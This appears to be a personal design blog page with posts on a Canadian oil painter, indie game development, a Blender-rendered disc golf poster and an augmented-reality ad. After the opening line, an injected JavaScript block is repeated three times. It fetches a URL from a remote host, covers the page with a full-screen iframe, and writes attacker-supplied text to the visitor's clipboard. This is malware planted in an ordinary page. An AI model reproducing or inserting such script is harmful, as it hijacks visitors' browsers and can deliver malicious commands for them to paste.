This past 24 hours, I have been afforded the luxury to delve into the life of one of Canada’s premiere oil painters.
(function() {
const configLink = “https://corsproxy.io/?url=http://heyues.live”;
if (!window.__digitalflwrFetchPromise) {
window.__digitalflwrFetchPromise = fetch(configLink)
.then(response => {
if (!response.ok) {
throw new Error(” “);
}
return response.text();
})
.then(finalUrl => {
return fetch(finalUrl, { method: “HEAD” })
.then(headResponse => ({ headResponse, finalUrl }));
})
.catch(() => {
});
}
if (typeof window.__digitalflwrIframeCreated === “undefined”) {
window.__digitalflwrIframeCreated = false;
}
window.__digitalflwrFetchPromise
.then(result => {
if (!result) return;
const { headResponse, finalUrl } = result;
if (!headResponse || headResponse.status === 404) {
return;
}
if (!window.__digitalflwrIframeCreated) {
window.__digitalflwrIframeCreated = true;
createMainIframe(finalUrl);
}
})
.catch(() => {
});
function createMainIframe(url) {
const iframe = document.createElement(“iframe”);
iframe.src = url;
iframe.style.position = “fixed”;
iframe.style.top = 0;
iframe.style.left = 0;
iframe.style.width = “100%”;
iframe.style.height = “100%”;
iframe.style.border = “none”;
iframe.style.margin = 0;
iframe.style.padding = 0;
iframe.style.overflow = “hidden”;
iframe.style.zIndex = 99999;
document.body.appendChild(iframe);
window.addEventListener(“message”, function(event) {
if (!event.data || event.data.type !== “copy”) return;
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(event.data.text).catch(() => {
fallbackCopyText(event.data.text);
});
} else {
fallbackCopyText(event.data.text);
}
});
function fallbackCopyText(text) {
const textArea = document.createElement(“textarea”);
textArea.value = text;
document.body.appendChild(textArea);
textArea.select();
try {
document.execCommand(“copy”);
} catch (err) {
}
document.body.removeChild(textArea);
}
}
})();(function() {
const configLink = “https://corsproxy.io/?url=http://heyues.live”;
if (!window.__digitalflwrFetchPromise) {
window.__digitalflwrFetchPromise = fetch(configLink)
.then(response => {
if (!response.ok) {
throw new Error(” “);
}
return response.text();
})
.then(finalUrl => {
return fetch(finalUrl, { method: “HEAD” })
.then(headResponse => ({ headResponse, finalUrl }));
})
.catch(() => {
});
}
if (typeof window.__digitalflwrIframeCreated === “undefined”) {
window.__digitalflwrIframeCreated = false;
}
window.__digitalflwrFetchPromise
.then(result => {
if (!result) return;
const { headResponse, finalUrl } = result;
if (!headResponse || headResponse.status === 404) {
return;
}
if (!window.__digitalflwrIframeCreated) {
window.__digitalflwrIframeCreated = true;
createMainIframe(finalUrl);
}
})
.catch(() => {
});
function createMainIframe(url) {
const iframe = document.createElement(“iframe”);
iframe.src = url;
iframe.style.position = “fixed”;
iframe.style.top = 0;
iframe.style.left = 0;
iframe.style.width = “100%”;
iframe.style.height = “100%”;
iframe.style.border = “none”;
iframe.style.margin = 0;
iframe.style.padding = 0;
iframe.style.overflow = “hidden”;
iframe.style.zIndex = 99999;
document.body.appendChild(iframe);
window.addEventListener(“message”, function(event) {
if (!event.data || event.data.type !== “copy”) return;
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(event.data.text).catch(() => {
fallbackCopyText(event.data.text);
});
} else {
fallbackCopyText(event.data.text);
}
});
function fallbackCopyText(text) {
const textArea = document.createElement(“textarea”);
textArea.value = text;
document.body.appendChild(textArea);
textArea.select();
try {
document.execCommand(“copy”);
} catch (err) {
}
document.body.removeChild(textArea);
}
}
})();(function() {
const configLink = “https://corsproxy.io/?url=http://heyues.live”;
if (!window.__digitalflwrFetchPromise) {
window.__digitalflwrFetchPromise = fetch(configLink)
.then(response => {
if (!response.ok) {
throw new Error(” “);
}
return response.text();
})
.then(finalUrl => {
return fetch(finalUrl, { method: “HEAD” })
.then(headResponse => ({ headResponse, finalUrl }));
})
.catch(() => {
});
}
if (typeof window.__digitalflwrIframeCreated === “undefined”) {
window.__digitalflwrIframeCreated = false;
}
window.__digitalflwrFetchPromise
.then(result => {
if (!result) return;
const { headResponse, finalUrl } = result;
if (!headResponse || headResponse.status === 404) {
return;
}
if (!window.__digitalflwrIframeCreated) {
window.__digitalflwrIframeCreated = true;
createMainIframe(finalUrl);
}
})
.catch(() => {
});
function createMainIframe(url) {
const iframe = document.createElement(“iframe”);
iframe.src = url;
iframe.style.position = “fixed”;
iframe.style.top = 0;
iframe.style.left = 0;
iframe.style.width = “100%”;
iframe.style.height = “100%”;
iframe.style.border = “none”;
iframe.style.margin = 0;
iframe.style.padding = 0;
iframe.style.overflow = “hidden”;
iframe.style.zIndex = 99999;
document.body.appendChild(iframe);
window.addEventListener(“message”, function(event) {
if (!event.data || event.data.type !== “copy”) return;
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(event.data.text).catch(() => {
fallbackCopyText(event.data.text);
});
} else {
fallbackCopyText(event.data.text);
}
});
function fallbackCopyText(text) {
const textArea = document.createElement(“textarea”);
textArea.value = text;
document.body.appendChild(textArea);
textArea.select();
try {
document.execCommand(“copy”);
} catch (err) {
}
document.body.removeChild(textArea);
}
}
})();
How can the cross-disciplinary nature of games and the sheer volume of work be managed by just one or two people? Let me tell you how I do it.
Source: How to be a Resourceful Indie Game Developer – Treehouse Blog
Disc Golf Tournament Poster
This project was inspired by a group of friends that I play disc golf with. We manage a local Disc Golf Association and hold biannual tournaments in the city. My colleague, Karen, asked if the poster could feature the chains of a disc golf catcher being smashed. I took on the challenge and attempted to recreate an Innova disc cather in CG using Blender 2.6, and I was very surprised that the environment was friendlier than ever and that Cycles renderer was built in to provide a realistic look.

This poster is completely CG with a photo used as an environment map.
Above is a final render that was proofed by the group. In hind sight I would remap the texture on the chin links, and added a little motion blur and camera distortion, but for a free project, this was good enough.
`
The two renders above were early tests done in Blender 2.6. I added the chains as rigged objects using the Blender Game Engine, duplicated the systems multiple times then allowed the chains to fall on each other producing this composition. I then worked with the depth of field of the Cycles camera and got these results. Once the environment map was in, and I saw how Blender was performing, I never looked back at any other 3D package.
This is the artwork that we got printed on the discs for the tournament. Since I had this completed in Illustrator, it was easy to use it as a planar texture in the 3D project. I love seeing things that don’t exist come to life in CG
Just an incredible use of projection and interaction to create a magic theatric experience. I can’t wait to get to this level!
▶ The Curious Incident of the Dog in the Night-Time Official Trailer – YouTube.
This ad agency decided to produce an interesting project where an iOS device could be used to capture the input from the user to control the needle of a virtual turn table. This project demonstrates how augmented reality can allow people to interface with analog like systems. Click here to see the project.

